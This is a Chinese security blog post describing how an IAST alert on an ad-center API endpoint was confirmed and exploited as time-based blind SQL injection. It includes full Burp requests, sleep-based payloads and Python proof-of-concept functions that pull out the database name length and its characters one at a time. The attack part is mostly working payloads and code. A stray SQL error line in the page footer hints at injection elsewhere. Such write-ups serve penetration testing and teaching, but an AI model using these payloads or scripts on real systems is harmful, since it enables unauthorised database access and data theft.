当前位置:首页 > Web安全 > 正文内容

从SQL注入延时盲注到Get Database

UzJu2年前 (2022-04-17)Web安全705

从SQL注入延时盲注到Get Database

一、IAST发现

image-20210701143323718

image-20210701143345615

执行的SQL语句

SELECT COUNT(1) FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?)

应用堆栈

com.mysql.jdbc.ConnectionImpl.prepareStatement
com.mysql.jdbc.ConnectionImpl.prepareStatement
com.alibaba.druid.pool.DruidPooledConnection.prepareStatement
sun.reflect.GeneratedMethodAccessor177.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.apache.ibatis.logging.jdbc.ConnectionLogger.invoke
com.sun.proxy.$Proxy193.prepareStatement
org.apache.ibatis.executor.statement.PreparedStatementHandler.instantiateStatement
org.apache.ibatis.executor.statement.BaseStatementHandler.prepare
org.apache.ibatis.executor.statement.RoutingStatementHandler.prepare
org.apache.ibatis.executor.SimpleExecutor.prepareStatement
org.apache.ibatis.executor.SimpleExecutor.doQuery
org.apache.ibatis.executor.BaseExecutor.queryFromDatabase
org.apache.ibatis.executor.BaseExecutor.query
org.apache.ibatis.executor.CachingExecutor.query
com.github.pagehelper.PageInterceptor.intercept
org.apache.ibatis.plugin.Plugin.invoke
com.sun.proxy.$Proxy192.query
org.apache.ibatis.session.defaults.DefaultSqlSession.selectList
org.apache.ibatis.session.defaults.DefaultSqlSession.selectList
org.apache.ibatis.session.defaults.DefaultSqlSession.selectOne
sun.reflect.GeneratedMethodAccessor469.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke
com.sun.proxy.$Proxy123.selectOne
org.mybatis.spring.SqlSessionTemplate.selectOne
org.apache.ibatis.binding.MapperMethod.execute
org.apache.ibatis.binding.MapperProxy.invoke
com.sun.proxy.$Proxy132.selectCount
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl.fieldIsExist
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl$$FastClassBySpringCGLIB$$37b08d2.invoke
org.springframework.cglib.proxy.MethodProxy.invoke
org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl$$EnhancerBySpringCGLIB$$e821b668.fieldIsExist
com.transsnet.palmpay.adcenter.controller.AdController.fieldIsExist
com.transsnet.palmpay.adcenter.controller.AdController$$FastClassBySpringCGLIB$$f8486f5c.invoke
org.springframework.cglib.proxy.MethodProxy.invoke
org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.aspectj.MethodInvocationProceedingJoinPoint.proceed
com.transsnet.palmpay.aspect.LogAspect.aroundAdvice
sun.reflect.GeneratedMethodAccessor325.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod
org.springframework.aop.aspectj.AspectJAroundAdvice.invoke
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept
com.transsnet.palmpay.adcenter.controller.AdController$$EnhancerBySpringCGLIB$$fa54a273.fieldIsExist
sun.reflect.GeneratedMethodAccessor1161.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle
org.springframework.web.servlet.DispatcherServlet.doDispatch
org.springframework.web.servlet.DispatcherServlet.doService
org.springframework.web.servlet.FrameworkServlet.processRequest
org.springframework.web.servlet.FrameworkServlet.doPost
javax.servlet.http.HttpServlet.service
org.springframework.web.servlet.FrameworkServlet.service
javax.servlet.http.HttpServlet.service
io.undertow.servlet.handlers.ServletHandler.handleRequest
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.boot.web.filter.ApplicationContextHeaderFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
com.alibaba.druid.support.http.WebStatFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.boot.actuate.trace.WebRequestTraceFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.web.filter.RequestContextFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.cloud.sleuth.instrument.web.TraceFilter.doFilter

完整Header信息

accept: */*
accept-encoding: gzip, deflate
appsource: 4
connection: keep-alive
content-length: 132
content-type: application/json;charset=UTF-8
countrycode: NG
host: 172.29.68.103:18129
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
user-agent: Java/1.8.0_251
x-b3-parentspanid: 154c092e7e6195b1
x-b3-sampled: 0
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
x-span-name: http:/api/ad/fieldIsExist

请求Body

HTTP Request:
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d

{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}

响应包

HTTP Response:
HTTP Code:200
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: fe3ecf80f53a40bc9d2d91f4b00ad84d
Transfer-Encoding: chunked
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Wed, 30 Jun 2021 09:43:55 GMT

{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}

二、Burp Repeater

将请求包丢入到Burp的Repeater进行重放测试

image-20210701143807216

关键字openrasp所在的位置为可能存在注入的地方

尝试将openrasp字样删除 结果还是返回An unknown error occurred in the ad-center service

image-20210701143951359

1、手工Fuzz确认漏洞

a后面跟上' —– 报错

此时的SQL语句大概为

SELECT COUNT(1) FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?)

image-20210701144128912

a后面跟上and 1=1-- —– 报错

SELECT COUNT(1) FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?)

image-20210701144257921

a修改为数字1 —– 成功

SELECT COUNT(1) FROM t_ad WHERE (1 = ? AND delete_flag = ? AND ad_id <> ?)

image-20210701144417935

直接尝试select version() —— 成功

SELECT COUNT(1) FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?)

image-20210701145048855

返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)来进行判断

image-20210701145250594

可以看到burp提示了3秒钟,尝试修改为5秒

image-20210701145351555

确认存在SQL注入

Payload

select version() union select sleep(5)
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?)

Payload Request

POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
Content-Length: 162

{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}

Payload Response(return time 3)

HTTP/1.1 200 OK
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: 92950d5328554e1dbc5819f54fb976a7
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Thu, 01 Jul 2021 06:53:40 GMT
Content-Length: 92

{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}

三、Python Fuzz

1、获取数据库名长度

原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回

Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14

该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可

Payload

if (length(database())=14,sleep(5),0)

image-20210701150606570

跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了

image-20210701150708596

image-20210701150738259

长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14

1-1、Payload Json

{
  "field": "if (length(database())=14,sleep(5),0)",
  "value": "TESTAPPAD01",
  "adId": "13CD98DA973B443D8B1E80AD44BBA409"
}

1-2、Poc

def getDataBasesLengthSqlFuzz():
    for Count in range(1, 100):
        data = {
            "field": "if (length(database())={},sleep(5),0)".format(Count),
            "value": "TESTAPPAD01",
            "applicationId": None,
            "adId": "13CD98DA973B443D8B1E80AD44BBA409",
            "platform": None
        }
        result = requests.post(url=url, headers=headers, data=json.dumps(data))
        print(result.json())
        print(json.dumps(data))
        print('=' * 100)

2、获取数据库名

原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名

ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1

Payload

if (ascii(substr(database(),{xxx},1))={xxx}, sleep(3), 0)

第一个字符 97

image-20210701151818733

第二个字符 100

image-20210701151850750

第三个字符 95

image-20210701151929183

第四个字符 99

image-20210701152001265

第五个字符 101

image-20210701152040897

第六个字符 110

image-20210701152118945

第七个字符 116

image-20210701152154239

第八个字符 101

image-20210701152227535

第九个字符 114

image-20210701152304095

第十个字符 95

image-20210701152335952

第十一个字符 100

image-20210701152410143

第十二个字符 97

image-20210701152439279

第十三个字符 116

image-20210701152512449

第十四个字符 97

image-20210701152541311

为了确认长度是否是14,再跑一次长度15

image-20210701152715215

程序直接跑完了,并没有卡住,很显然,长度为14

ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97

转换为字符:a d - c e n t e r - d a t a

image-20210701153217251

数据库名为:ad-center-data

Pyaload Json

{
  "field": "if (ascii(substr(database(),15,1))\u003d127, sleep(3), 0)",
  "value": "TESTAPPAD01",
  "adId": "13CD98DA973B443D8B1E80AD44BBA409"
}

Poc

def getDataBaseNameSqlFuzz(length):
    for j in range(1, 128):
        data = {
            "field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j),
            "value": "TESTAPPAD01",
            "applicationId": None,
            "adId": "13CD98DA973B443D8B1E80AD44BBA409",
            "platform": None
        }
        result = requests.post(url=url, headers=headers, data=json.dumps(data))
        print(json.dumps(data))
        print(result.json())
        print('=' * 100)

测试环境突然更新,暂时无法继续获取表

image-20210701183317190

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/39.java

分享给朋友:

相关文章

【渗透测试】记一次智慧校园系统一轮游

【渗透测试】记一次智慧校园系统一轮游

记一次智慧校园系统一轮游记一次智慧校园系统一轮游一、前言如发现存在问题发送邮件到:UzJuer@163.com删除文章 关于如何挖逻辑漏洞的思维图 二、智慧校园系统1、www.xxx-xxxx.com svn泄露Ps:后...

某次授权渗透测试小记

某次授权渗透测试小记

某次授权渗透测试小记一、某次授权渗透测试部分小记本文已得到授权 如发现存在问题发送邮件到:UzJuer@163.com删除文章 1、帝国CMS 后台GETSHELL图书馆的一个系统,为开源CMS修改的,然后通过版本探测与其他的...

Redis常见利用方法

Redis常见利用方法

Redis常见利用方法 Redis简介与学习Redis常见端口 6379 Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据...

两个简单的前端加密逆向

两个简单的前端加密逆向

前言两个站点都是比较简单的前端加密,也都是朋友喊来练练手的,不过Trace这款工具还是不错的吧 推荐一下六边形战士的Github工具:https://github.com/CC11001100/ast-hook-for-js-RE...

Java-SQL注入

Java-SQL注入

1、JDBC1.1、Statement创建连接对象使用CreateStatement() Statement stmt = null; try { stmt = conn.createStatement( ); . ....

未授权与垂直/水平越权(IDOR)检测实现方案

未授权与垂直/水平越权(IDOR)检测实现方案

未授权与垂直/水平越权(IDOR)检测实现方案TODO1、去重通过接口进行去重 防止水平越权时参数不一致导致的同一个URL重复问题 2、黑名单配置 让用户选择可以配置黑名单来禁止检测指定URL 3、白名单配置 让用户选...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。